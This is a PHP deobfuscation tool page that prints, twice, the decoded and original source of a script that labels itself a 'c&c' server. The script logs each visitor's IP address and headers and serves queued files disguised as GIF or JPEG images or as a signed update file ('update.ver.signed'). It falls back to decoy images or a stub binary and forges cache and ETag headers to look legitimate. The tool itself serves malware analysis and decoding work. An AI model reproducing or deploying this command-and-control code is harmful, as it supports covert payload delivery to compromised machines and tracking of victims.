Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @ini_set('memory_limit', '512M'); @set_time_limit(0); define("_DEF_LIB_DIR_",..

Decoded Output download

<?php 
 
@ini_set('memory_limit', '512M'); 
@set_time_limit(0); 
 
define("_DEF_LIB_DIR_","./lib/"); 
define("_DEF_COM_LG", "log"); 
define("_DEF_TK_DIR_","./in"); 
define("_DEF_DAT_DR","./data"); 
define("_DEF_L_T_N_", "c.tar"); 
define("_DEF_ESTE_SIGNATURE_", "update.ver.signed"); 
 
date_default_timezone_set("GMT"); 
$Vip3ftxfmfbl = "c_".date("Y.m.d.H.i.s"."_"); 
$Vv1hiua0kb0z = uniqid($Vip3ftxfmfbl, true); 
 
if (!function_exists('getallheaders')) 
{ 
    function getallheaders() 
    { 
           $V3esiqspvyn3 = []; 
       foreach ($_SERVER as $V3py0gk2we0y => $Vtzk15srrfqt) 
       { 
           if (substr($V3py0gk2we0y, 0, 5) == 'HTTP_') 
           { 
               $V3esiqspvyn3[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($V3py0gk2we0y, 5)))))] = $Vtzk15srrfqt; 
           } 
       } 
       return $V3esiqspvyn3; 
    } 
} 
 
abstract class Mode 
{ 
        const JPEG = 1; 
        const GIF = 2; 
        const ESTE = 3; 
} 
 
 
function commonlgwr($Vrklbfck0aht) 
{ 
        $Vwxqsaosfako = fopen(_DEF_COM_LG, "a"); 
        if(false != $Vwxqsaosfako) 
        { 
                $Vndunospv0fp = date("y/m/d/H/i"); 
        $Vjikqws222ff = fwrite($Vwxqsaosfako, $Vrklbfck0aht."
"); 
        fclose($Vwxqsaosfako); 
    } 
} 
 
 
 
function inslgad($Vrklbfck0aht) 
{ 
        global $Vv1hiua0kb0z ; 
 
        $Vsi2onfiaiyw = _DEF_DAT_DR."/log" ; 
        $Vwxqsaosfako = fopen($Vsi2onfiaiyw, "a"); 
        if(false != $Vwxqsaosfako) 
        { 
 
                if($Vrklbfck0aht == "
") 
                { 
                         fwrite($Vwxqsaosfako, "
"); 
                } 
                else 
                { 
 
                        fwrite($Vwxqsaosfako, "c&c:	".$Vrklbfck0aht."
"); 
                } 
        fclose($Vwxqsaosfako); 
 
    } 
} 
 
 
function ristc($Vjsubqjgdczj) 
{ 
        if(irged($Vjsubqjgdczj)) 
        { 
                return true; 
        } 
        else 
        { 
                if(crqdir($Vjsubqjgdczj)) 
                { 
                        inslgad("reg"); 
                        return true; 
                } 
        } 
        return false; 
} 
 
 
 
 
function irged($Vjsubqjgdczj) 
{ 
        $Vcalref42hhl = _DEF_DAT_DR."/".$Vjsubqjgdczj."/in"; 
        return is_dir($Vcalref42hhl); 
} 
 
 
 
function crqdir($Vjsubqjgdczj) 
{ 
        $Vcalref42hhl = _DEF_DAT_DR."/".$Vjsubqjgdczj."/in"; 
        return mkdir($Vcalref42hhl, 0777, TRUE); 
} 
 
 
function sdtk() 
{ 
        $Vmfuxmxgiezs = false; 
        if(true == is_dir(_DEF_DAT_DR)) 
        { 
                $Vcalref42hhl = _DEF_DAT_DR."/in"; 
 
                if(true == is_dir($Vcalref42hhl)) 
                { 
                        $V5c1lx44uuvd = scandir($Vcalref42hhl); 
                        if(false != $V5c1lx44uuvd && !empty($V5c1lx44uuvd)) { 
                                foreach($V5c1lx44uuvd as $Ve1vfqaxtuae){ 
                                        $V3gxaqlz2kx3 = $Vcalref42hhl."/".$Ve1vfqaxtuae; 
                                        if(!is_dir($V3gxaqlz2kx3)){ 
                                                $Vwxqsaosfako = fopen($V3gxaqlz2kx3, "rb"); 
                                                if(false != $Vwxqsaosfako) 
                                                { 
                            $len = filesize($V3gxaqlz2kx3); 
                                                    header("Content-Length: $len"); 
                                                        if(fpassthru($Vwxqsaosfako) > 0) 
                                                        { 
                                                                $Vmfuxmxgiezs = true; 
                                                                fclose($Vwxqsaosfako); 
                                                                //unlink($V3gxaqlz2kx3); 
                                                                break; 
                                                        } 
                                                } 
                                        } 
                                } 
                        } 
                } 
        } 
        return $Vmfuxmxgiezs; 
} 
 
 
function deldir($Vx0uykmfcgyq) 
{ 
        if (is_dir($Vx0uykmfcgyq)) 
                $Vig24lesbobu = opendir($Vx0uykmfcgyq); 
        if (!$Vig24lesbobu) 
                return false; 
        while($Ve1vfqaxtuae = readdir($Vig24lesbobu)) 
        { 
                if ($Ve1vfqaxtuae != "." && $Ve1vfqaxtuae != "..") 
                { 
                        if (!is_dir($Vx0uykmfcgyq."/".$Ve1vfqaxtuae)) 
                                unlink($Vx0uykmfcgyq."/".$Ve1vfqaxtuae); 
                        else 
                                deldir($Vx0uykmfcgyq.'/'.$Ve1vfqaxtuae); 
                } 
        } 
        closedir($Vig24lesbobu); 
        rmdir($Vx0uykmfcgyq); 
        return true; 
} 
 
 
 
 
function grntag() 
{ 
        $V5yhrbnkimxd = ""; 
        $Vweaegjqfld2 = "0123456789abcdef"; 
        for($Vtnmedm51lmb = 0; $Vtnmedm51lmb < 12; $Vtnmedm51lmb++) 
        { 
                $V5yhrbnkimxd .= $Vweaegjqfld2 [random_int(0, strlen($Vweaegjqfld2 )-1)]; 
        } 
        return substr_replace($V5yhrbnkimxd, ":", 8, 0); 
 
} 
 
 
function main() 
{ 
        $Vtnmedm51lmbp = $_SERVER['REMOTE_ADDR']; 
        $Vkoaphzpvhvy = "UA n set"; 
        if(isset($_SERVER['HTTP_USER_AGENT'])) 
        { 
                $Vkoaphzpvhvy = $_SERVER['HTTP_USER_AGENT']; 
        } 
 
 
        commonlgwr($Vtnmedm51lmbp); 
        commonlgwr(date("Y/m/d H:i:s")); 
        commonlgwr("c&c(".$_SERVER["REQUEST_METHOD"].")"); 
        $V3esiqspvyn3 = getallheaders(); 
 
        foreach($V3esiqspvyn3 as $V4wkb2koudg0 => $Vtzk15srrfqt) 
        { 
                commonlgwr($V4wkb2koudg0.":".$Vtzk15srrfqt); 
        } 
 
 
                        $V4vk0rr4o4fd = null; 
                        $Vntrn2t2qtag = strtolower($_SERVER["REQUEST_URI"]); 
                        $Vnwalyne1v3f = basename($Vntrn2t2qtag); 
 
                        if (strstr($Vnwalyne1v3f, _DEF_ESTE_SIGNATURE_)) 
                        { 
                                $V4vk0rr4o4fd = Mode::ESTE; 
                                header("Content-Type: application/octet-stream"); 
                                $Vvexz0ciim01 = new DateTime(); 
                                $Vvexz0ciim01->sub(new DateInterval("PT1H")); 
                                #Last-Modified: Thu, 13 Oct 2022 09:51:00 GMT 
                                header("Last-Modified: ".str_replace("+0000","GMT",$Vvexz0ciim01->format(DateTime::RFC2822))); 
                                header("Vary: Accept-Encoding"); 
                                header("ETag: \"".grntag()."\""); 
                                #header("Content-Encoding: gzip"); 
                                $Vvexz0ciim01->add(new DateInterval("PT3H")); 
                                header("Expires: ".str_replace("+0000","GMT",$Vvexz0ciim01->format(DateTime::RFC2822))); 
                                header("Keep-Alive: timeout=5, max=99"); 
                                header("Connection: Keep-Alive"); 
                        } 
                        else if (strstr($Vnwalyne1v3f, ".gif")) 
                        { 
                                $V4vk0rr4o4fd = Mode::GIF; 
                                header("Content-Type: image/gif"); 
                        } 
                        else if (strstr($Vnwalyne1v3f, ".jpeg") || strstr($Vnwalyne1v3f, ".jpg")) 
                        { 
                                $V4vk0rr4o4fd = Mode::JPEG; 
                                header("Content-Type: image/jpeg"); 
                        } 
                        else 
                        { 
                                commonlgwr("mode -"); 
 
                        } 
 
                        if($V4vk0rr4o4fd != null) 
                        { 
                                header("Cache-Control: no-cache,no-store, must-revalidate"); 
                                header("Pragma: no-cache"); 
                                header("Expiries: 0"); 
 
 
                                if($_SERVER["REQUEST_METHOD"] == "GET") 
                                { 
 
 
                                        if(sdtk() ) 
                                        { 
                                                commonlgwr("sent"); 
 
                                        } 
                                        else 
                                        { 
                                                $Veyvf4xzopmb = ""; 
                                                if ($V4vk0rr4o4fd == Mode::GIF) 
                                                { 
                                                        $Veyvf4xzopmb = _DEF_LIB_DIR_."logo.gif"; 
                                                } 
                                                else if ($V4vk0rr4o4fd == Mode::JPEG) 
                                                { 
                                                        $Veyvf4xzopmb = _DEF_LIB_DIR_."logo.jpg"; 
                                                } 
                                                else if ($V4vk0rr4o4fd == Mode::ESTE) 
                                                { 
                                                        $Veyvf4xzopmb = _DEF_LIB_DIR_."stub.bin"; 
                                                } 
                                                else 
                                                { 
                                                        return; 
                                                } 
                        $len = filesize($Veyvf4xzopmb); 
                                                header("Content-Length: $len"); 
                                                $Vvep1l3ly3ez = fopen($Veyvf4xzopmb, 'rb'); 
                                                fpassthru($Vvep1l3ly3ez); 
                                                fclose($Vvep1l3ly3ez); 
                                                commonlgwr("Stub s"); 
                                        } 
                                } 
                                else 
                                { 
                                        commonlgwr("POST(rejected)"); 
 
                                } 
 
                        } 
 
 
        commonlgwr("=============================================="); 
} 
main() 
?> 

Did this file decode correctly?

Original Code

<?php

@ini_set('memory_limit', '512M');
@set_time_limit(0);

define("_DEF_LIB_DIR_","./lib/");
define("_DEF_COM_LG", "log");
define("_DEF_TK_DIR_","./in");
define("_DEF_DAT_DR","./data");
define("_DEF_L_T_N_", "c.tar");
define("_DEF_ESTE_SIGNATURE_", "update.ver.signed");

date_default_timezone_set("GMT");
$Vip3ftxfmfbl = "c_".date("Y.m.d.H.i.s"."_");
$Vv1hiua0kb0z = uniqid($Vip3ftxfmfbl, true);

if (!function_exists('getallheaders'))
{
    function getallheaders()
    {
           $V3esiqspvyn3 = [];
       foreach ($_SERVER as $V3py0gk2we0y => $Vtzk15srrfqt)
       {
           if (substr($V3py0gk2we0y, 0, 5) == 'HTTP_')
           {
               $V3esiqspvyn3[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($V3py0gk2we0y, 5)))))] = $Vtzk15srrfqt;
           }
       }
       return $V3esiqspvyn3;
    }
}

abstract class Mode
{
        const JPEG = 1;
        const GIF = 2;
        const ESTE = 3;
}


function commonlgwr($Vrklbfck0aht)
{
        $Vwxqsaosfako = fopen(_DEF_COM_LG, "a");
        if(false != $Vwxqsaosfako)
        {
                $Vndunospv0fp = date("y/m/d/H/i");
        $Vjikqws222ff = fwrite($Vwxqsaosfako, $Vrklbfck0aht."\n");
        fclose($Vwxqsaosfako);
    }
}



function inslgad($Vrklbfck0aht)
{
        global $Vv1hiua0kb0z ;

        $Vsi2onfiaiyw = _DEF_DAT_DR."/log" ;
        $Vwxqsaosfako = fopen($Vsi2onfiaiyw, "a");
        if(false != $Vwxqsaosfako)
        {

                if($Vrklbfck0aht == "\n")
                {
                         fwrite($Vwxqsaosfako, "\n");
                }
                else
                {

                        fwrite($Vwxqsaosfako, "c&c:\t".$Vrklbfck0aht."\n");
                }
        fclose($Vwxqsaosfako);

    }
}


function ristc($Vjsubqjgdczj)
{
        if(irged($Vjsubqjgdczj))
        {
                return true;
        }
        else
        {
                if(crqdir($Vjsubqjgdczj))
                {
                        inslgad("reg");
                        return true;
                }
        }
        return false;
}




function irged($Vjsubqjgdczj)
{
        $Vcalref42hhl = _DEF_DAT_DR."/".$Vjsubqjgdczj."/in";
        return is_dir($Vcalref42hhl);
}



function crqdir($Vjsubqjgdczj)
{
        $Vcalref42hhl = _DEF_DAT_DR."/".$Vjsubqjgdczj."/in";
        return mkdir($Vcalref42hhl, 0777, TRUE);
}


function sdtk()
{
        $Vmfuxmxgiezs = false;
        if(true == is_dir(_DEF_DAT_DR))
        {
                $Vcalref42hhl = _DEF_DAT_DR."/in";

                if(true == is_dir($Vcalref42hhl))
                {
                        $V5c1lx44uuvd = scandir($Vcalref42hhl);
                        if(false != $V5c1lx44uuvd && !empty($V5c1lx44uuvd)) {
                                foreach($V5c1lx44uuvd as $Ve1vfqaxtuae){
                                        $V3gxaqlz2kx3 = $Vcalref42hhl."/".$Ve1vfqaxtuae;
                                        if(!is_dir($V3gxaqlz2kx3)){
                                                $Vwxqsaosfako = fopen($V3gxaqlz2kx3, "rb");
                                                if(false != $Vwxqsaosfako)
                                                {
                            $len = filesize($V3gxaqlz2kx3);
                                                    header("Content-Length: $len");
                                                        if(fpassthru($Vwxqsaosfako) > 0)
                                                        {
                                                                $Vmfuxmxgiezs = true;
                                                                fclose($Vwxqsaosfako);
                                                                //unlink($V3gxaqlz2kx3);
                                                                break;
                                                        }
                                                }
                                        }
                                }
                        }
                }
        }
        return $Vmfuxmxgiezs;
}


function deldir($Vx0uykmfcgyq)
{
        if (is_dir($Vx0uykmfcgyq))
                $Vig24lesbobu = opendir($Vx0uykmfcgyq);
        if (!$Vig24lesbobu)
                return false;
        while($Ve1vfqaxtuae = readdir($Vig24lesbobu))
        {
                if ($Ve1vfqaxtuae != "." && $Ve1vfqaxtuae != "..")
                {
                        if (!is_dir($Vx0uykmfcgyq."/".$Ve1vfqaxtuae))
                                unlink($Vx0uykmfcgyq."/".$Ve1vfqaxtuae);
                        else
                                deldir($Vx0uykmfcgyq.'/'.$Ve1vfqaxtuae);
                }
        }
        closedir($Vig24lesbobu);
        rmdir($Vx0uykmfcgyq);
        return true;
}




function grntag()
{
        $V5yhrbnkimxd = "";
        $Vweaegjqfld2 = "0123456789abcdef";
        for($Vtnmedm51lmb = 0; $Vtnmedm51lmb < 12; $Vtnmedm51lmb++)
        {
                $V5yhrbnkimxd .= $Vweaegjqfld2 [random_int(0, strlen($Vweaegjqfld2 )-1)];
        }
        return substr_replace($V5yhrbnkimxd, ":", 8, 0);

}


function main()
{
        $Vtnmedm51lmbp = $_SERVER['REMOTE_ADDR'];
        $Vkoaphzpvhvy = "UA n set";
        if(isset($_SERVER['HTTP_USER_AGENT']))
        {
                $Vkoaphzpvhvy = $_SERVER['HTTP_USER_AGENT'];
        }


        commonlgwr($Vtnmedm51lmbp);
        commonlgwr(date("Y/m/d H:i:s"));
        commonlgwr("c&c(".$_SERVER["REQUEST_METHOD"].")");
        $V3esiqspvyn3 = getallheaders();

        foreach($V3esiqspvyn3 as $V4wkb2koudg0 => $Vtzk15srrfqt)
        {
                commonlgwr($V4wkb2koudg0.":".$Vtzk15srrfqt);
        }


                        $V4vk0rr4o4fd = null;
                        $Vntrn2t2qtag = strtolower($_SERVER["REQUEST_URI"]);
                        $Vnwalyne1v3f = basename($Vntrn2t2qtag);

                        if (strstr($Vnwalyne1v3f, _DEF_ESTE_SIGNATURE_))
                        {
                                $V4vk0rr4o4fd = Mode::ESTE;
                                header("Content-Type: application/octet-stream");
                                $Vvexz0ciim01 = new DateTime();
                                $Vvexz0ciim01->sub(new DateInterval("PT1H"));
                                #Last-Modified: Thu, 13 Oct 2022 09:51:00 GMT
                                header("Last-Modified: ".str_replace("+0000","GMT",$Vvexz0ciim01->format(DateTime::RFC2822)));
                                header("Vary: Accept-Encoding");
                                header("ETag: \"".grntag()."\"");
                                #header("Content-Encoding: gzip");
                                $Vvexz0ciim01->add(new DateInterval("PT3H"));
                                header("Expires: ".str_replace("+0000","GMT",$Vvexz0ciim01->format(DateTime::RFC2822)));
                                header("Keep-Alive: timeout=5, max=99");
                                header("Connection: Keep-Alive");
                        }
                        else if (strstr($Vnwalyne1v3f, ".gif"))
                        {
                                $V4vk0rr4o4fd = Mode::GIF;
                                header("Content-Type: image/gif");
                        }
                        else if (strstr($Vnwalyne1v3f, ".jpeg") || strstr($Vnwalyne1v3f, ".jpg"))
                        {
                                $V4vk0rr4o4fd = Mode::JPEG;
                                header("Content-Type: image/jpeg");
                        }
                        else
                        {
                                commonlgwr("mode -");

                        }

                        if($V4vk0rr4o4fd != null)
                        {
                                header("Cache-Control: no-cache,no-store, must-revalidate");
                                header("Pragma: no-cache");
                                header("Expiries: 0");


                                if($_SERVER["REQUEST_METHOD"] == "GET")
                                {


                                        if(sdtk() )
                                        {
                                                commonlgwr("sent");

                                        }
                                        else
                                        {
                                                $Veyvf4xzopmb = "";
                                                if ($V4vk0rr4o4fd == Mode::GIF)
                                                {
                                                        $Veyvf4xzopmb = _DEF_LIB_DIR_."logo.gif";
                                                }
                                                else if ($V4vk0rr4o4fd == Mode::JPEG)
                                                {
                                                        $Veyvf4xzopmb = _DEF_LIB_DIR_."logo.jpg";
                                                }
                                                else if ($V4vk0rr4o4fd == Mode::ESTE)
                                                {
                                                        $Veyvf4xzopmb = _DEF_LIB_DIR_."stub.bin";
                                                }
                                                else
                                                {
                                                        return;
                                                }
                        $len = filesize($Veyvf4xzopmb);
                                                header("Content-Length: $len");
                                                $Vvep1l3ly3ez = fopen($Veyvf4xzopmb, 'rb');
                                                fpassthru($Vvep1l3ly3ez);
                                                fclose($Vvep1l3ly3ez);
                                                commonlgwr("Stub s");
                                        }
                                }
                                else
                                {
                                        commonlgwr("POST(rejected)");

                                }

                        }


        commonlgwr("==============================================");
}
main()
?>

Function Calls

None

Variables

None

Stats

MD5 0554cb49998c29ccd6395048763ad6ef
Eval Count 0
Decode Time 63 ms